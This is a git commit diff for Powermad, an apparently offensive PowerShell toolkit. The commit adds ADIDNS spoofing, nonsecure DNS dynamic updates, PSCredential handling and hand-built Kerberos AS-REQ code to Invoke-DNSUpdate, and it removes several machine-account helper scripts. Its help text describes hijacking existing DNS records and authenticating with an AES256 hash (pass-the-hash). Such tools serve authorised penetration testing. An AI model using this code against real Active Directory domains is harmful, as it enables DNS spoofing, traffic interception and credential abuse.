diff options
author | Kevin Robertson <robertsonk@gmail.com> | 2018-07-10 09:56:03 -0400 |
---|---|---|
committer | Kevin Robertson <robertsonk@gmail.com> | 2018-07-10 09:56:03 -0400 |
commit | 2c25774fc41c001ca28f0ab2c039b0bae6767b01 (patch) | |
tree | 28a482fdf3ce65fe6dce725055dae734583e119c | |
parent | dbcbf9a20768154524e663a89d0ecc6666bbb234 (diff) | |
download | Powermad-2c25774fc41c001ca28f0ab2c039b0bae6767b01.tar.gz Powermad-2c25774fc41c001ca28f0ab2c039b0bae6767b01.zip |
ADIDNS functions, pscredential, nonsecure dynamic updates
Added functions for performing ADIDNS spoofing. All LDAP functions now accept a pscredential object. Added nonsecure dynamic updates functionality to Invoke-DNSupdate.
-rw-r--r-- | Disable-MachineAccount.ps1 | 99 | ||||
-rw-r--r-- | Get-KerberosAESKey.ps1 | 123 | ||||
-rw-r--r-- | Get-MachineAccountAttribute.ps1 | 90 | ||||
-rw-r--r-- | Invoke-DNSUpdate.ps1 | 1408 | ||||
-rw-r--r-- | New-MachineAccount.ps1 | 171 | ||||
-rw-r--r-- | Powermad.ps1 | 3944 | ||||
-rw-r--r-- | Powermad.psd1 | bin | 4740 -> 4778 bytes | |||
-rw-r--r-- | Powermad.psm1 | 10 | ||||
-rw-r--r-- | README.md | 243 | ||||
-rw-r--r-- | Set-MachineAccountAttribute.ps1 | 109 |
10 files changed, 4978 insertions, 1219 deletions
diff --git a/Disable-MachineAccount.ps1 b/Disable-MachineAccount.ps1 deleted file mode 100644 index ad68cbb..0000000 --- a/Disable-MachineAccount.ps1 +++ /dev/null @@ -1,99 +0,0 @@ -function Disable-MachineAccount -{ - <# - .SYNOPSIS - This function disables a machine account added with New-MachineAccount. This function should be used with the same - user that created the machine account. - - Author: Kevin Robertson (@kevin_robertson) - License: BSD 3-Clause - - .DESCRIPTION - Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users - can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is - just left in a disabled state. This function provides that ability. Ideally cleanup is performed after - elevating privilege. - - Note that this function does not accept credentials. - - .PARAMETER DistinguishedName - Distinguished name for the computers OU. - - .PARAMETER Domain - The targeted domain. - - .PARAMETER MachineAccount - The username of the machine account that will be disabled. - - .EXAMPLE - Disable-MachineAccount -MachineAccount iamapc - - .LINK - https://github.com/Kevin-Robertson/Powermad - #> - - [CmdletBinding()] - param - ( - [parameter(Mandatory=$false)][String]$DistinguishedName, - [parameter(Mandatory=$false)][String]$Domain, - [parameter(Mandatory=$true)][String]$MachineAccount - ) - - if($MachineAccount.EndsWith('$')) - { - $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) - } - else - { - $machine_account = $MachineAccount - } - - if(!$Domain) - { - $domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name - } - - if(!$DistinguishedName) - { - - $distinguished_name = "CN=$machine_account,CN=Computers" - - $DCArray = $Domain.Split(".") - - ForEach($DC in $DCArray) - { - $distinguished_name += ",DC=$DC" - } - - } - else - { - $distinguished_name = "$DistinguishedName" - } - - $account = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$distinguished_name" - - if(!$account.InvokeGet("AccountDisabled")) - { - - try - { - $account.InvokeSet("AccountDisabled","True") - $account.SetInfo() - Write-Output "[+] $machine_account has been disabled" - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - } - - } - else - { - Write-Output "[-] $machine_account is already disabled" - } - -}
\ No newline at end of file diff --git a/Get-KerberosAESKey.ps1 b/Get-KerberosAESKey.ps1 deleted file mode 100644 index 2f556ac..0000000 --- a/Get-KerberosAESKey.ps1 +++ /dev/null @@ -1,123 +0,0 @@ -function Get-KerberosAESKey -{ - <# - .SYNOPSIS - Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The - results have been verified against the test values in RFC3962, MS-KILE, and my own test lab. - - https://tools.ietf.org/html/rfc3962 - https://msdn.microsoft.com/library/cc233855.aspx - - Author: Kevin Robertson (@kevin_robertson) - License: BSD 3-Clause - - .PARAMETER Password - [String] Valid password. - - .PARAMETER Salt - [String] Concatenated string containing the realm and username/hostname. - AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator) - AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase - realm (e.g., TEST.LOCALhostwks1.test.local) - - .PARAMETER Iteration - [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the - default of 4096. - - .PARAMETER OutputType - [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings. - AES128Byte and AES256Byte will output byte arrays. - - .EXAMPLE - Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1 - Verify results against first RFC3962 sample test vectors in section B. - - .EXAMPLE - Get-KerberosAESKey -Salt TEST.LOCALuser - Generate keys for a valid AD user. - - .LINK - https://github.com/Kevin-Robertson/Powermad - #> - - [CmdletBinding()] - param - ( - [parameter(Mandatory=$true)][String]$Salt, - [parameter(Mandatory=$false)][System.Security.SecureString]$Password, - [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES", - [parameter(Mandatory=$false)][Int]$Iteration=4096 - ) - - if(!$Password) - { - $password = Read-Host -Prompt "Enter password" -AsSecureString - } - - $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) - $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) - - [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext) - [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt) - $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4 - $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93 - $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration) - $PBKDF2_AES256_key = $PBKDF2.GetBytes(32) - $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15] - $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-","" - $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-","" - Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string" - Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string" - $AES = New-Object "System.Security.Cryptography.AesManaged" - $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC - $AES.Padding = [System.Security.Cryptography.PaddingMode]::None - $AES.IV = $IV - # AES 256 - $AES.KeySize = 256 - $AES.Key = $PBKDF2_AES256_key - $AES_encryptor = $AES.CreateEncryptor() - $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length) - $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length) - $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15] - $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-","" - # AES 128 - $AES.KeySize = 128 - $AES.Key = $PBKDF2_AES128_key - $AES_encryptor = $AES.CreateEncryptor() - $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length) - $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-","" - Remove-Variable password_cleartext - - switch($OutputType) - { - - 'AES' - { - Write-Output "AES128 Key: $AES128_key_string" - Write-Output "AES256 Key: $AES256_key_string" - } - - 'AES128' - { - Write-Output "$AES128_key_string" - } - - 'AES256' - { - Write-Output "$AES256_key_string" - } - - 'AES128ByteArray' - { - Write-Output $AES128_key - } - - 'AES256ByteArray' - { - Write-Output $AES256_key - } - - } - -}
\ No newline at end of file diff --git a/Get-MachineAccountAttribute.ps1 b/Get-MachineAccountAttribute.ps1 deleted file mode 100644 index fa58cd0..0000000 --- a/Get-MachineAccountAttribute.ps1 +++ /dev/null @@ -1,90 +0,0 @@ -function Get-MachineAccountAttribute -{ - <# - .SYNOPSIS - This function can return values populated in machine account attributes. - - .DESCRIPTION - This function is primarily for use with New-MachineAccount and Set-MachineAccountAttribute. - - Author: Kevin Robertson (@kevin_robertson) - License: BSD 3-Clause - - .PARAMETER DistinguishedName - Distinguished name for the computers OU. - - .PARAMETER Domain - The targeted domain. - - .PARAMETER MachineAccount - The username of the machine account that will be modified. - - .PARAMETER Attribute - The machine account attribute. - - .PARAMETER Value - The machine account attribute value. - - .EXAMPLE - Get-MachineAccountAttribute -MachineAccount payroll -Attribute description - - .LINK - https://github.com/Kevin-Robertson/Powermad - #> - - [CmdletBinding()] - param - ( - [parameter(Mandatory=$false)][String]$DistinguishedName, - [parameter(Mandatory=$false)][String]$Domain, - [parameter(Mandatory=$true)][String]$MachineAccount, - [parameter(Mandatory=$true)][String]$Attribute - ) - - if($MachineAccount.EndsWith('$')) - { - $machine_account = $MachineAccount.SubString(0,$MachineAccount.Length - 1) - } - else - { - $machine_account = $MachineAccount - } - - if(!$Domain) - { - $domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name - } - - if(!$DistinguishedName) - { - - $distinguished_name = "CN=$machine_account,CN=Computers" - - $DCArray = $Domain.Split(".") - - ForEach($DC in $DCArray) - { - $distinguished_name += ",DC=$DC" - } - - } - else - { - $distinguished_name = "$DistinguishedName" - } - - $account = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$distinguished_name" - - try - { - $output = $account.InvokeGet($Attribute) - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - } - - return $output -}
\ No newline at end of file diff --git a/Invoke-DNSUpdate.ps1 b/Invoke-DNSUpdate.ps1 index f68184f..334f6eb 100644 --- a/Invoke-DNSUpdate.ps1 +++ b/Invoke-DNSUpdate.ps1 @@ -2,30 +2,40 @@ function Invoke-DNSUpdate { <# .SYNOPSIS - This function allows DNS records to be added/deleted if secure dynamic updates are enabled on a domain - controller. Authentication is performed through Kerberos GSS-TSIG. + This function performs secure and nonsecure DNS dynamic updates against an AD domain controller. Authentication + for secure updates is performed through Kerberos GSS-TSIG. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION - This function can be used to add/delete dynamic DNS records if the default setting of enabled secure dynamic - updates is configured on a domain controller. A, AAAA, CNAME, MX, PTR, SRV, and TXT records are currently - supported. Invoke-DNSUpdate is modeled after BIND`s nsupdate tool when using the '-g' or 'gsstsig' options. - - An account/session with permission to perform secure dynamic updates is required. By default, authenticated - users have the 'Create all child objects' permission on the Active Directory-integrated zone. Most records - that do not currently exist in an AD zone can be added/deleted. Limitations for authenticated users can - include things like being prevented from adding SRV records that interfere with the AD Kerberos records. Older - existing dynamic records can sometimes be hijacked. Note that wpad and isatap are on a block list by default - starting with Server 2008. - - This function supports only GSS-TSIG through Kerberos AES256-CTS-HMAC-SHA1-96 using two separate methods. By - default, the function will have Windows perform all Kerberos steps up until the AP-REQ is sent to DNS on the - DC. This method will work with either the current session context or with specified credentials. The second - method performs Kerberos authentication using just PowerShell code over a TCPClient connection. This method + This function can be used to add/delete dynamic DNS records through secure or nonsecure dynamic updates against an + AD domain controller. A, AAAA, CNAME, MX, PTR, SRV, and TXT records are currently supported. Invoke-DNSUpdate is modeled + after BIND`s nsupdate tool when using the '-g' or 'gsstsig' options for secure updates or no authentication for + nonsecure updates. + + By default, Active Directory-integrated zones have secure dynamic updates enabled with authenticated users having + 'Create all child objects' permission. Records that do not exist in an AD zone can be added/deleted with a standard + user account. Existing records created by default or created by other users impose limitations. For example, creating + records that apply to the root of the zone or creating additional SRV records for kerberos/ldap will likely be blocked + due to existing records. Note however that older existing dynamic records can sometimes be hijacked. Subdomain folders + can also be created. + + With secure dynamic updates, this function supports only GSS-TSIG through Kerberos AES256-CTS-HMAC-SHA1-96 using + two separate methods. By default, the function will have Windows perform all Kerberos steps up until the AP-REQ + is sent to DNS on the DC. This method will work with either the current session context or with specified credentials. + The second method performs Kerberos authentication using just PowerShell code over a TCPClient connection. This method will accept a password or AES256 hash and will not place any tickets in the client side cache. + In the event that a zone is configured for nonsecure dynamic updates, you should have full control over the zone. + + Note that wpad and isatap are on a block list by default starting with Server 2008. Although the records can be added + with both secure and nonsecure dynamic updates, AD DNS will not answer requests for wpad and isatap if they are listed + on the block list. + + .PARAMETER Credential + PSCredential object that will be used to to perform dynamic update. + .PARAMETER DomainController Domain controller to target in FQDN format. @@ -34,43 +44,55 @@ function Invoke-DNSUpdate .PARAMETER Username Username of user with DNS secure dynamic update access. If using a machine account, the trailing '$' must be - included. + included if one is shown in the SAMAccountName attribute. Note, this is an alternative to using Credential and + is mainly included as part of pass the hash functionality. .PARAMETER Password Password of user with DNS secure dynamic update access. The password must be in the form of a secure string. + Note, this is an alternative to using Credential and is mainly included as part of pass the hash + functionality. .PARAMETER Hash AES256 password hash for user with DNS secure dynamic update access. Note that this will use Kerberos - authentication built on top of TCPClient. + authentication built on top of TCPClient. Note, this is an alternative to using Credential and is mainly + included as part of pass the hash functionality. + + .PARAMETER Security + Default = Secure: (Auto/Nonsecure/Secure) Dynamic update security type. Auto will attempt to use nonsecure. If + nonsecure fails, secure will be used. This is the standard dynamic update behavior. Secure is the default + because it generates less traffic with default setups. .PARAMETER DNSName DNS record name. .PARAMETER DNSData DNS records data. For most record types this will be the destination hostname or IP address. For TXT records - this can be used for data. If deleting a record, leave off this parameter. - - .PARAMETER DNSType - DNS record type. + this can be used for data. If deleting a record, do not set this parameter. - .PARAMETER DNSTTL - DNS record TTL. + .PARAMETER DNSPort + DNS SRV record port. .PARAMETER DNSPreference - DNS MX record priority + DNS MX record preference. .PARAMETER DNSPriority DNS SRV record priority. + .PARAMETER DNSTTL + Default = 600: DNS record TTL. + + .PARAMETER DNSType + Default = A: DNS record type. This function supports A, AAAA, CNAME, MX, PTR, SRV, and TXT. + .PARAMETER DNSWeight DNS SRV record weight. - .PARAMETER DNSPort - DNS SRV record port. - .PARAMETER DNSZone DNS zone. + .PARAMETER RecordCheck + Check for an existing matching record before attempting to add or delete. + .PARAMETER TCPClientAuth Switch to force usage of the TCPClient based Kerberos authentication. @@ -87,7 +109,7 @@ function Invoke-DNSUpdate Add CNAME Record .EXAMPLE - Invoke-DNSUpdate -DNSType MX -DNSName www.test.local -DNSData 192.168.100.125 -DNSPreference 10 + Invoke-DNSUpdate -DNSType MX -DNSName test.local -DNSData 192.168.100.125 -DNSPreference 10 Add MX Record .EXAMPLE @@ -126,21 +148,31 @@ function Invoke-DNSUpdate [parameter(Mandatory=$false)][String]$Username, [parameter(Mandatory=$false)][System.Security.SecureString]$Password, [parameter(Mandatory=$false)][ValidateScript({$_.Length -eq 64})][String]$Hash, - [parameter(Mandatory=$false)][String]$DNSZone, + [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][Int]$DNSTTL = 600, [parameter(Mandatory=$false)][Int]$DNSPreference, [parameter(Mandatory=$false)][Int]$DNSPriority, [parameter(Mandatory=$false)][Int]$DNSWeight, [parameter(Mandatory=$false)][Int]$DNSPort, - [parameter(Mandatory=$true)][ValidateSet("A","AAAA","CNAME","MX","PTR","SRV","TXT")][String]$DNSType, + [parameter(Mandatory=$false)][ValidateSet("Auto","Nonsecure","Secure")][String]$Security = "Secure", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","MX","PTR","SRV","TXT")][String]$DNSType = "A", [parameter(Mandatory=$true)][String]$DNSName, [parameter(Mandatory=$false)][ValidateScript({$_.Length -le 255})][String]$DNSData, - [parameter(Mandatory=$false)][Switch]$TCPClientAuth + [parameter(Mandatory=$false)][Switch]$RecordCheck, + [parameter(Mandatory=$false)][Switch]$TCPClientAuth, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) - if($TCPClientAuth -and !$Username) + if($invalid_parameter) { - Write-Output "[-] TCPClientAuth requires a username" + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if($TCPClientAuth -and (!$Credential -and !$Username)) + { + Write-Output "[-] TCPClientAuth requires a username or PSCredential" throw } @@ -161,7 +193,7 @@ function Invoke-DNSUpdate 'PTR' { - if(!$DNSZone) + if(!$Zone) { Write-Output "[-] PTR records require a DNSZone" throw @@ -172,7 +204,7 @@ function Invoke-DNSUpdate 'SRV' { - if(!$DNSPriority -or !$DNSWeight -or !$DNSPort -and $DNSData) + if(!$DNSPriority -and !$DNSWeight -and !$DNSPort -and $DNSData) { Write-Output "[-] DNSType SRV requires DNSPriority, DNSWeight, and DNSPort" throw @@ -188,43 +220,62 @@ function Invoke-DNSUpdate } - if($Username -and !$Hash) + if($Security -ne 'Nonsecure' -and $Username -and !$Hash) { $password = Read-Host -Prompt "Enter password" -AsSecureString } - if(!$DomainController) + if(!$DistinguishedName -and (!$DomainController -or !$Domain -or !$Realm -or !$Zone)) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - $DomainController = $current_domain.DomainControllers[0].Name - $domain = $current_domain.Name } catch { - Write-Output "[-] Domain controller not located" + Write-Output "[-] $($_.Exception.Message)" throw } } - else + + if(!$DomainController) { - $realm_index = $DomainController.IndexOf(".") - $domain = $DomainController.Substring($realm_index + 1) + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" } if(!$Realm) { - $realm = $domain + $Realm = $current_domain.Name + Write-Verbose "[+] Kerberos Realm = $Realm" } - if($TCPClientAuth -or $Hash) + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] DNS Zone = $Zone" + } + + $Zone = $Zone.ToLower() + + if($TCPClientAuth -or $Hash -or ($TCPClientAuth -and $Credential)) { - $kerberos_tcpclient = $true - $realm = $realm.ToUpper() + $Realm = $Realm.ToUpper() + + if($Credential) + { + $Username = $Credential.Username + $Password = $Credential.Password + } if($username -like "*\*") { @@ -238,37 +289,28 @@ function Invoke-DNSUpdate if($Username.EndsWith("$")) { - $salt = $realm + "host" + $Username.SubString(0,$Username.Length - 1) + "." + $realm.ToLower() + $salt = $Realm + "host" + $Username.SubString(0,$Username.Length - 1) + "." + $Realm.ToLower() } else { - $salt = $realm + $Username + $salt = $Realm + $Username } Write-Verbose "[+] Salt $salt" } - - if(!$DNSZone) - { - $DNSZone_index = $DomainController.IndexOf(".") - $DNSZone = $DomainController.Substring($DNSZone_index + 1) - } - - $DNSZone = $DNSZone.ToLower() - function ConvertFrom-PacketOrderedDictionary + function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) { - param($ordered_dictionary) - ForEach($field in $ordered_dictionary.Values) + ForEach($field in $OrderedDictionary.Values) { $byte_array += $field } - return $byte_array + return [Byte[]]$byte_array } - function Get-KerberosAES256UsageKey + function Get-KerberosAES256UsageKey { param([String]$key_type,[Int]$usage_number,[Byte[]]$base_key) @@ -349,7 +391,7 @@ function Invoke-DNSUpdate function New-PacketKerberosASREQ() { - param([Byte[]]$username,[Byte[]]$realm,[Byte[]]$namestring,[Byte[]]$nonce,[Byte[]]$pac,[Byte[]]$pac_signature) + param([Byte[]]$Username,[Byte[]]$Realm,[Byte[]]$NameString,[Byte[]]$Nonce,[Byte[]]$PAC,[Byte[]]$PACSignature) $timestamp = Get-Date $till = $timestamp.AddYears(20) @@ -358,26 +400,26 @@ function Invoke-DNSUpdate [Byte[]]$timestamp = [System.Text.Encoding]::UTF8.GetBytes($timestamp) [Byte[]]$till = [System.Text.Encoding]::UTF8.GetBytes($till) - if($pac) + if($PAC) { $pac_extra_length = 78 } - [Byte[]]$namestring1_length = Get-ASN1LengthArray $namestring.Count - [Byte[]]$namestring_length = Get-ASN1LengthArray ($namestring.Count + $namestring1_length.Count + 6) - [Byte[]]$namestring_length2 = Get-ASN1LengthArray ($namestring.Count + $namestring1_length.Count + $namestring_length.Count + 7) - [Byte[]]$sname_length = Get-ASN1LengthArray ($namestring.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + 13) - [Byte[]]$sname_length2 = Get-ASN1LengthArray ($namestring.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + 14) - [Byte[]]$realm_length = Get-ASN1LengthArray $realm.Count - [Byte[]]$realm_length2 = Get-ASN1LengthArray ($realm.Count + $realm_length.Count + 1) - [Byte[]]$cname_length = Get-ASN1LengthArray $username.Count - [Byte[]]$cname_length2 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + 1) - [Byte[]]$cname_length3 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + 2) - [Byte[]]$cname_length4 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + 8) - [Byte[]]$cname_length5 = Get-ASN1LengthArray ($username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + 9) - $grouped_length = $address_length.Count + $address_length2.Count + $address_length3.Count + $address_length4.Count + $address_length5.Count + $namestring.Count + - $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + $realm.Count + $realm_length.Count + - $realm_length2.Count + $username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + $cname_length5.Count + [Byte[]]$namestring1_length = Get-ASN1LengthArray $NameString.Count + [Byte[]]$namestring_length = Get-ASN1LengthArray ($NameString.Count + $namestring1_length.Count + 6) + [Byte[]]$namestring_length2 = Get-ASN1LengthArray ($NameString.Count + $namestring1_length.Count + $namestring_length.Count + 7) + [Byte[]]$sname_length = Get-ASN1LengthArray ($NameString.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + 13) + [Byte[]]$sname_length2 = Get-ASN1LengthArray ($NameString.Count + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + 14) + [Byte[]]$realm_length = Get-ASN1LengthArray $Realm.Count + [Byte[]]$realm_length2 = Get-ASN1LengthArray ($Realm.Count + $realm_length.Count + 1) + [Byte[]]$cname_length = Get-ASN1LengthArray $Username.Count + [Byte[]]$cname_length2 = Get-ASN1LengthArray ($Username.Count + $cname_length.Count + 1) + [Byte[]]$cname_length3 = Get-ASN1LengthArray ($Username.Count + $cname_length.Count + $cname_length2.Count + 2) + [Byte[]]$cname_length4 = Get-ASN1LengthArray ($Username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + 8) + [Byte[]]$cname_length5 = Get-ASN1LengthArray ($Username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + 9) + $grouped_length = $address_length.Count + $address_length2.Count + $address_length3.Count + $address_length4.Count + $address_length5.Count + $NameString.Count + + $namestring1_length.Count + $namestring_length.Count + $namestring_length2.Count + $sname_length.Count + $sname_length2.Count + $Realm.Count + $realm_length.Count + + $realm_length2.Count + $Username.Count + $cname_length.Count + $cname_length2.Count + $cname_length3.Count + $cname_length4.Count + $cname_length5.Count [Byte[]]$reqbody_length = Get-ASN1LengthArrayLong ($grouped_length + 86) [Byte[]]$reqbody_length2 = Get-ASN1LengthArrayLong ($grouped_length + $reqbody_length.Count + 87) [Byte[]]$message_length = Get-ASN1LengthArrayLong ($grouped_length + $reqbody_length.Count + $reqbody_length2.Count + $pac_extra_length + 114) @@ -385,95 +427,95 @@ function Invoke-DNSUpdate [Byte[]]$asreq_length = [System.BitConverter]::GetBytes($grouped_length + $reqbody_length.Count + $reqbody_length2.Count + $message_length.Count + $message_length2.Count + $pac_extra_length + 116)[3..0] - $packet_KerberosASREQ = New-Object System.Collections.Specialized.OrderedDictionary - $packet_KerberosASREQ.Add("KerberosASREQ_Length",$asreq_length) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_Encoding",[Byte[]](0x6a) + $message_length2 + [Byte[]](0x30) + $message_length) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PVNO_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PVNO",[Byte[]](0x05)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_MSGType_Encoding",[Byte[]](0xa2,0x03,0x02,0x01)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_MSGType",[Byte[]](0x0a)) + $KerberosASREQ = New-Object System.Collections.Specialized.OrderedDictionary + $KerberosASREQ.Add("Length",$asreq_length) + $KerberosASREQ.Add("Message_Encoding",[Byte[]](0x6a) + $message_length2 + [Byte[]](0x30) + $message_length) + $KerberosASREQ.Add("Message_PVNO_Encoding",[Byte[]](0xa1,0x03,0x02,0x01)) + $KerberosASREQ.Add("Message_PVNO",[Byte[]](0x05)) + $KerberosASREQ.Add("Message_MSGType_Encoding",[Byte[]](0xa2,0x03,0x02,0x01)) + $KerberosASREQ.Add("Message_MSGType",[Byte[]](0x0a)) - if($pac) + if($PAC) { - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData_Encoding",[Byte[]](0xa3,0x5c,0x30,0x5a,0x30,0x4c,0xa1,0x03,0x02,0x01,0x02)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData0_Type_Encoding",[Byte[]](0xa2,0x45,0x04,0x43,0x30,0x41,0xa0,0x03,0x02,0x01)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData0_Type",[Byte[]](0x12)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData0_Value_Encoding",[Byte[]](0xa2,0x3a,0x04,0x38)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData0_Value",$pac) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData0_Signature",$pac_signature) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData1_Type_Encoding",[Byte[]](0x30,0x0a,0xa1,0x04,0x02,0x02)) + $KerberosASREQ.Add("Message_PAData_Encoding",[Byte[]](0xa3,0x5c,0x30,0x5a,0x30,0x4c,0xa1,0x03,0x02,0x01,0x02)) + $KerberosASREQ.Add("Message_PAData0_Type_Encoding",[Byte[]](0xa2,0x45,0x04,0x43,0x30,0x41,0xa0,0x03,0x02,0x01)) + $KerberosASREQ.Add("Message_PAData0_Type",[Byte[]](0x12)) + $KerberosASREQ.Add("Message_PAData0_Value_Encoding",[Byte[]](0xa2,0x3a,0x04,0x38)) + $KerberosASREQ.Add("Message_PAData0_Value",$PAC) + $KerberosASREQ.Add("Message_PAData0_Signature",$PACSignature) + $KerberosASREQ.Add("Message_PAData1_Type_Encoding",[Byte[]](0x30,0x0a,0xa1,0x04,0x02,0x02)) } else { - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData_Encoding",[Byte[]](0xa3,0x0e,0x30,0x0c,0x30,0x0a)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData1_Type_Encoding",[Byte[]](0xa1,0x04,0x02,0x02)) + $KerberosASREQ.Add("Message_PAData_Encoding",[Byte[]](0xa3,0x0e,0x30,0x0c,0x30,0x0a)) + $KerberosASREQ.Add("Message_PAData1_Type_Encoding",[Byte[]](0xa1,0x04,0x02,0x02)) } - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData1_Type",[Byte[]](0x00,0x95)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData1_Value_Encoding",[Byte[]](0xa2,0x02,0x04)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_PAData1_Value",[Byte[]](0x00)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_Encoding",[Byte[]](0xa4) + $reqbody_length2 + [Byte[]](0x30) + $reqbody_length) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_KDCOptions_Encoding",[Byte[]](0xa0,0x07,0x03,0x05)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_KDCOptions_Padding",[Byte[]](0x00)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_KDCOptions",[Byte[]](0x50,0x00,0x00,0x00)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_CName_Encoding",[Byte[]](0xa1) + $cname_length5 + [Byte[]](0x30) + $cname_length4) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_CName_NameType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_CName_NameType",[Byte[]](0x01)) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_CName_NameString_Encoding",[Byte[]](0xa1) + $cname_length3 + [Byte[]](0x30) + $cname_length2 + [Byte[]](0x1b) + $cname_length) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_CName_NameString",$username) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_Realm_Encoding",[Byte[]](0xa2) + $realm_length2 + [Byte[]](0x1b) + $realm_length) - $packet_KerberosASREQ.Add("KerberosASREQ_Message_REQBody_Realm",$realm) - 